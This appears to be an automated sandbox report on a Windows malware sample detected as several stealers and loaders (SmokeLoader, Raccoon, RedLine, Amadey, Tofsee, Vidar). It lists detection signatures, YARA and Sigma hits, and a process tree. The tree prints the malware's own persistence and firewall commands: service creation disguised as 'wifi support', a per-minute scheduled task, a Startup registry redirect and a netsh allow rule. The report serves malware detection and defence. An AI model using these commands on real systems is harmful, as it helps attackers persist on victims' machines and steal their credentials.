Play interactive tour

Edit tour

Windows Analysis Report tijXCZsbGe.exe

Overview

General Information

Sample Name:	tijXCZsbGe.exe
Analysis ID:	553073
MD5:	888928d26bd03678afd9fed0d92f6fc9
SHA1:	37723b453fd3133c01e7a43892b73c6580edd164
SHA256:	1cf27ab77a771ff942b1e2947856844fbab4991cf87aca618968445b5c5d706d
Tags:	exeRaccoonStealer
Infos:
Most interesting Screenshot:

Detection

Amadey Raccoon RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious Svchost Process

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Tries to detect virtualization through RDTSC time measurements

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Sigma detected: Suspicius Add Task From User AppData Temp

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Modifies the windows firewall

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Modifies existing windows services

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Uses reg.exe to modify the Windows registry

Sigma detected: Netsh Port or Application Allowed

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Sigma detected: Direct Autorun Keys Modification

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses SMTP (mail sending)

Found evaded block containing many API calls

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

tijXCZsbGe.exe (PID: 6264 cmdline: "C:\Users\user\Desktop\tijXCZsbGe.exe" MD5: 888928D26BD03678AFD9FED0D92F6FC9)

tijXCZsbGe.exe (PID: 864 cmdline: "C:\Users\user\Desktop\tijXCZsbGe.exe" MD5: 888928D26BD03678AFD9FED0D92F6FC9)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

9334.exe (PID: 7100 cmdline: C:\Users\user\AppData\Local\Temp\9334.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 6552 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7100 -s 264 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

DB31.exe (PID: 6560 cmdline: C:\Users\user\AppData\Local\Temp\DB31.exe MD5: 6009BCB680BE6C0F656AA157E56423DC)

E748.exe (PID: 5476 cmdline: C:\Users\user\AppData\Local\Temp\E748.exe MD5: 7C64BD730B6C9565F287278834A33618)

cmd.exe (PID: 6020 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xzxafeeu\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5984 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 2972 cmdline: C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6584 cmdline: C:\Windows\System32\sc.exe" description xzxafeeu "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 7024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 2848 cmdline: "C:\Windows\System32\sc.exe" start xzxafeeu MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 1004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 5772 cmdline: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

netsh.exe (PID: 6720 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

F65C.exe (PID: 2980 cmdline: C:\Users\user\AppData\Local\Temp\F65C.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

F65C.exe (PID: 5348 cmdline: C:\Users\user\AppData\Local\Temp\F65C.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

5C89.exe (PID: 5200 cmdline: C:\Users\user\AppData\Local\Temp\5C89.exe MD5: 852D86F5BC34BF4AF7FA89C60569DF13)

6FB4.exe (PID: 5312 cmdline: C:\Users\user\AppData\Local\Temp\6FB4.exe MD5: 8B239554FE346656C8EEF9484CE8092F)

mjlooy.exe (PID: 6756 cmdline: "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" MD5: 8B239554FE346656C8EEF9484CE8092F)

cmd.exe (PID: 1004 cmdline: "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

schtasks.exe (PID: 5836 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

8783.exe (PID: 3160 cmdline: C:\Users\user\AppData\Local\Temp\8783.exe MD5: 5800952B83AECEFC3AA06CCB5B29A4C2)

AppLaunch.exe (PID: 2860 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

9DFA.exe (PID: 4088 cmdline: C:\Users\user\AppData\Local\Temp\9DFA.exe MD5: 5800952B83AECEFC3AA06CCB5B29A4C2)

B0F7.exe (PID: 6956 cmdline: C:\Users\user\AppData\Local\Temp\B0F7.exe MD5: 852D86F5BC34BF4AF7FA89C60569DF13)

svchost.exe (PID: 2192 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3848 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

rifsswe (PID: 6952 cmdline: C:\Users\user\AppData\Roaming\rifsswe MD5: 888928D26BD03678AFD9FED0D92F6FC9)

rifsswe (PID: 7088 cmdline: C:\Users\user\AppData\Roaming\rifsswe MD5: 888928D26BD03678AFD9FED0D92F6FC9)

svchost.exe (PID: 7020 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7128 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 4972 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7100 -ip 7100 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5016 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

gecrjwsv.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d"C:\Users\user\AppData\Local\Temp\E748.exe" MD5: 6DD4312F6A305B72C1A1948F27068190)

svchost.exe (PID: 6732 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

mjlooy.exe (PID: 2928 cmdline: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe MD5: 8B239554FE346656C8EEF9484CE8092F)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000029.00000002.953737182.0000000000821000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000020.00000002.803587070.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000A.00000002.767900095.0000000000640000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000028.00000003.877844771.0000000003842000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.719913794.0000000000591000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000003.860574341.0000000000700000.00000004.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000002.953617420.00000000007C3000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000000A.00000002.768056484.00000000022F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.719885078.0000000000570000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000029.00000002.953108316.0000000000650000.00000040.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000003.868438969.0000000004DE0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000028.00000002.878164581.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002C.00000002.948415885.00000000002E2000.00000020.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002C.00000002.982145423.0000000006720000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000020.00000002.803962316.00000000005A0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000012.00000002.825741767.0000000003F01000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000029.00000002.952932110.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000031.00000002.888629779.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002B.00000002.902114556.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000022.00000002.949927934.00000000005D0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002B.00000003.899275338.0000000003842000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000031.00000003.885087344.0000000000820000.00000004.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000027.00000002.873026509.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000000.708378047.0000000004DF1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000032.00000002.920325973.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000023.00000000.820336133.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000031.00000002.890660521.00000000007E0000.00000040.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.821341997.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000020.00000003.801375609.00000000005A0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000029.00000003.873886365.00000000006A0000.00000004.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000000.819697566.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000026.00000002.1024945743.0000000004D40000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000032.00000003.917559502.0000000004DF0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000020.00000002.803904384.0000000000580000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000023.00000000.820836278.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000002.953715192.0000000000812000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.780534031.0000000000712000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000027.00000002.874367341.00000000006A0000.00000040.00000001.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000032.00000002.931172576.0000000004D50000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000026.00000002.953575570.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000011.00000003.783551055.0000000000650000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: E748.exe PID: 5476	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: gecrjwsv.exe PID: 2860	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: svchost.exe PID: 6732	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: 5C89.exe PID: 5200	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: 5C89.exe PID: 5200	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 44 entries

Unpacked PEs

Source	Rule	Description	Author
34.2.svchost.exe.5d0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
32.2.gecrjwsv.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
35.0.F65C.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.F65C.exe.401f910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
17.2.E748.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
10.0.rifsswe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
34.2.svchost.exe.5d0000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
32.2.gecrjwsv.exe.5a0000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
38.2.5C89.exe.4d40e50.4.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
35.0.F65C.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
38.2.5C89.exe.4d40e50.4.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
35.0.F65C.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.1.tijXCZsbGe.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.0.F65C.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
38.3.5C89.exe.4de0000.3.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
32.3.gecrjwsv.exe.5a0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.2.tijXCZsbGe.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.gecrjwsv.exe.580e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
38.2.5C89.exe.400000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
10.2.rifsswe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.2.E748.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
10.0.rifsswe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.gecrjwsv.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.tijXCZsbGe.exe.5615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.2.rifsswe.6315a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
38.3.5C89.exe.4de0000.3.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
35.0.F65C.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
32.2.gecrjwsv.exe.5a0000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
10.0.rifsswe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.2.E748.exe.630e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
10.1.rifsswe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.3.E748.exe.650000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
18.2.F65C.exe.401f910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
38.2.5C89.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 29 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d"C:\Users\user\AppData\Local\Temp\E748.exe", ParentImage: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe, ParentProcessId: 2860, ProcessCommandLine: svchost.exe, ProcessId: 6732

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\E748.exe, ParentImage: C:\Users\user\AppData\Local\Temp\E748.exe, ParentProcessId: 5476, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\, ProcessId: 5984

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d"C:\Users\user\AppData\Local\Temp\E748.exe", ParentImage: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe, ParentProcessId: 2860, ProcessCommandLine: svchost.exe, ProcessId: 6732

Sigma detected: Suspicius Add Task From User AppData Temp

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe, ParentProcessId: 6756, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mjlooy.exe /TR "C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe" /F, ProcessId: 5836

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\E748.exe, ParentImage: C:\Users\user\AppData\Local\Temp\E748.exe, ParentProcessId: 5476, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 6720

Sigma detected: Direct Autorun Keys Modification

Show sources

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\, CommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ParentImage: C:\Windows\System32\conhost.exe, ParentProcessId: 1004, ProcessCommandLine: REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\82aa4a6c48\, ProcessId: 5772

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\E748.exe, ParentImage: C:\Users\user\AppData\Local\Temp\E748.exe, ParentProcessId: 5476, ProcessCommandLine: C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 2972

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.unpack, type: UNPACKEDPE
